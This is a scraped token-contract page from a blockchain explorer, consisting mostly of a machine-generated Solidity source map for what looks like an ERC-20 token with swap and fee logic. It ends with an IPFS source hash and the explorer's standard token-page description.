7985:23;7977:68;;;;-1:-1:-1;;;7977:68:0;;9363:2:1;7977:68:0;;;9345:21:1;;;9382:18;;;9375:30;9441:34;9421:18;;;9414:62;9493:18;;7977:68:0;9161:356:1;8381:191:0;8474:6;;;-1:-1:-1;;;;;8491:17:0;;;-1:-1:-1;;;;;;8491:17:0;;;;;;;8524:40;;8474:6;;;8491:17;8474:6;;8524:40;;8455:16;;8524:40;8444:128;8381:191;:::o;11135:699::-;-1:-1:-1;;;;;11266:18:0;;11258:76;;;;-1:-1:-1;;;11258:76:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11353:16:0;;11345:72;;;;-1:-1:-1;;;11345:72:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;11503:15:0;;11481:19;11503:15;;;;;;;;;;;11537:21;;;;11529:80;;;;-1:-1:-1;;;11529:80:0;;9724:2:1;11529:80:0;;;9706:21:1;9763:2;9743:18;;;9736:30;9802:34;9782:18;;;9775:62;-1:-1:-1;;;9853:18:1;;;9846:44;9907:19;;11529:80:0;9522:410:1;11529:80:0;-1:-1:-1;;;;;11645:15:0;;;:9;:15;;;;;;;;;;;11663:20;;;11645:38;;11698:13;;;;;;;;;;:23;;;;;;11750:26;;1361:25:1;;;11698:13:0;;11750:26;;1334:18:1;11750:26:0;;;;;;;11789:37;17804:2493;21128:1393;21225:4;21181:23;9531:18;;;;;;;;;;;;21280:20;;;21276:59;;21317:7;;21128:1393;:::o;21276:59::-;21355:7;;21348:6;;:14;;;;:::i;:::-;21367:1;21347:21;21343:1130;;21404:1;21386:15;:19;:59;;;;;21427:18;;21409:15;:36;21386:59;21383:443;;;-1:-1:-1;21477:15:0;21343:1130;;21383:443;21534:21;21558:28;21582:3;21558:19;21569:7;;21558:6;:10;;:19;;;;:::i;:28::-;21534:52;-1:-1:-1;21601:23:0;21534:52;21601:23;;:::i;:::-;;;21652:18;;21643:6;:27;21639:176;;;21706:18;;21691:33;;21639:176;;;21793:6;21778:21;;21639:176;21519:307;21343:1130;;;21880:1;21862:15;:19;:66;;;;-1:-1:-1;21903:18:0;;:25;;21926:1;21903:22;:25::i;:::-;21885:15;:43;21862:66;21859:607;;;21945:7;;21128:1393;:::o;21859:607::-;22000:1;21982:15;:19;:66;;;;-1:-1:-1;22023:18:0;;:25;;22046:1;22023:22;:25::i;:::-;22005:15;:43;21982:66;:106;;;;;22070:18;;22052:15;:36;21982:106;21978:488;;;22120:18;;:25;;22143:1;22120:22;:25::i;:::-;22105:40;;21978:488;;;22187:21;22211:28;22235:3;22211:19;22222:7;;22211:6;:10;;:19;;;;:::i;:28::-;22187:52;-1:-1:-1;22254:23:0;22187:52;22254:23;;:::i;:::-;;;22305:18;;22296:6;:27;22292:163;;;22359:18;;22344:33;;22292:163;;;22433:6;22418:21;;22292:163;22172:294;21978:488;22483:30;22500:12;22483:16;:30::i;22533:100::-;22598:9;;22590:35;;-1:-1:-1;;;;;22598:9:0;;;;22590:35;;;;;22618:6;;22598:9;22590:35;22598:9;22590:35;22618:6;22598:9;22590:35;;;;;;;;;;;;;;;;;;;5622:98;5680:7;5707:5;5711:1;5707;:5;:::i;:::-;5700:12;5622:98;-1:-1:-1;;;5622:98:0:o;5728:::-;5786:7;5813:5;5817:1;5813;:5;:::i;20305:480::-;20397:16;;;20411:1;20397:16;;;;;;;;20373:21;;20397:16;;;;;;;;;;-1:-1:-1;20397:16:0;20373:40;;20442:4;20424;20429:1;20424:7;;;;;;;;:::i;:::-;;;;;;:23;-1:-1:-1;;;;;20424:23:0;;;-1:-1:-1;;;;;20424:23:0;;;;;20468:16;-1:-1:-1;;;;;20468:21:0;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;20458:4;20463:1;20458:7;;;;;;;;:::i;:::-;;;;;;:33;-1:-1:-1;;;;;20458:33:0;;;-1:-1:-1;;;;;20458:33:0;;;;;20504:63;20521:4;20536:16;20555:11;20504:8;:63::i;:::-;20580:197;;-1:-1:-1;;;20580:197:0;;-1:-1:-1;;;;;20580:16:0;:67;;;;:197;;20662:11;;20688:1;;20704:4;;20731;;20751:15;;20580:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;20360:425;20305:480;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2047:416::-;2112:6;2120;2173:2;2161:9;2152:7;2148:23;2144:32;2141:52;;;2189:1;2186;2179:12;2141:52;2228:9;2215:23;2247:31;2272:5;2247:31;:::i;:::-;2297:5;-1:-1:-1;2354:2:1;2339:18;;2326:32;2396:15;;2389:23;2377:36;;2367:64;;2427:1;2424;2417:12;2367:64;2450:7;2440:17;;;2047:416;;;;;:::o;2468:247::-;2527:6;2580:2;2568:9;2559:7;2555:23;2551:32;2548:52;;;2596:1;2593;2586:12;2548:52;2635:9;2622:23;2654:31;2679:5;2654:31;:::i;3161:388::-;3229:6;3237;3290:2;3278:9;3269:7;3265:23;3261:32;3258:52;;;3306:1;3303;3296:12;3258:52;3345:9;3332:23;3364:31;3389:5;3364:31;:::i;:::-;3414:5;-1:-1:-1;3471:2:1;3456:18;;3443:32;3484:33;3443:32;3484:33;:::i;3554:380::-;3633:1;3629:12;;;;3676;;;3697:61;;3751:4;3743:6;3739:17;3729:27;;3697:61;3804:2;3796:6;3793:14;3773:18;3770:38;3767:161;;3850:10;3845:3;3841:20;3838:1;3831:31;3885:4;3882:1;3875:15;3913:4;3910:1;3903:15;3767:161;;3554:380;;;:::o;3939:127::-;4000:10;3995:3;3991:20;3988:1;3981:31;4031:4;4028:1;4021:15;4055:4;4052:1;4045:15;4071:125;4136:9;;;4157:10;;;4154:36;;;4170:18;;:::i;6678:409::-;6880:2;6862:21;;;6919:2;6899:18;;;6892:30;6958:34;6953:2;6938:18;;6931:62;-1:-1:-1;;;7024:2:1;7009:18;;7002:43;7077:3;7062:19;;6678:409::o;7092:407::-;7294:2;7276:21;;;7333:2;7313:18;;;7306:30;7372:34;7367:2;7352:18;;7345:62;-1:-1:-1;;;7438:2:1;7423:18;;7416:41;7489:3;7474:19;;7092:407::o;9028:128::-;9095:9;;;9116:11;;;9113:37;;;9130:18;;:::i;9937:168::-;10010:9;;;10041;;10058:15;;;10052:22;;10038:37;10028:71;;10079:18;;:::i;10110:217::-;10150:1;10176;10166:132;;10220:10;10215:3;10211:20;10208:1;10201:31;10255:4;10252:1;10245:15;10283:4;10280:1;10273:15;10166:132;-1:-1:-1;10312:9:1;;10110:217::o;10464:127::-;10525:10;10520:3;10516:20;10513:1;10506:31;10556:4;10553:1;10546:15;10580:4;10577:1;10570:15;10596:251;10666:6;10719:2;10707:9;10698:7;10694:23;10690:32;10687:52;;;10735:1;10732;10725:12;10687:52;10767:9;10761:16;10786:31;10811:5;10786:31;:::i;10852:980::-;11114:4;11162:3;11151:9;11147:19;11193:6;11182:9;11175:25;11219:2;11257:6;11252:2;11241:9;11237:18;11230:34;11300:3;11295:2;11284:9;11280:18;11273:31;11324:6;11359;11353:13;11390:6;11382;11375:22;11428:3;11417:9;11413:19;11406:26;;11467:2;11459:6;11455:15;11441:29;;11488:1;11498:195;11512:6;11509:1;11506:13;11498:195;;;11577:13;;-1:-1:-1;;;;;11573:39:1;11561:52;;11668:15;;;;11633:12;;;;11609:1;11527:9;11498:195;;;-1:-1:-1;;;;;;;11749:32:1;;;;11744:2;11729:18;;11722:60;-1:-1:-1;;;11813:3:1;11798:19;11791:35;11710:3;10852:980;-1:-1:-1;;;10852:980:1:o
Swarm Source
ipfs://1df3936055c28b08947ae7f05bc891ad912bf34dc20fd7cfcf7d05b46d403189
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.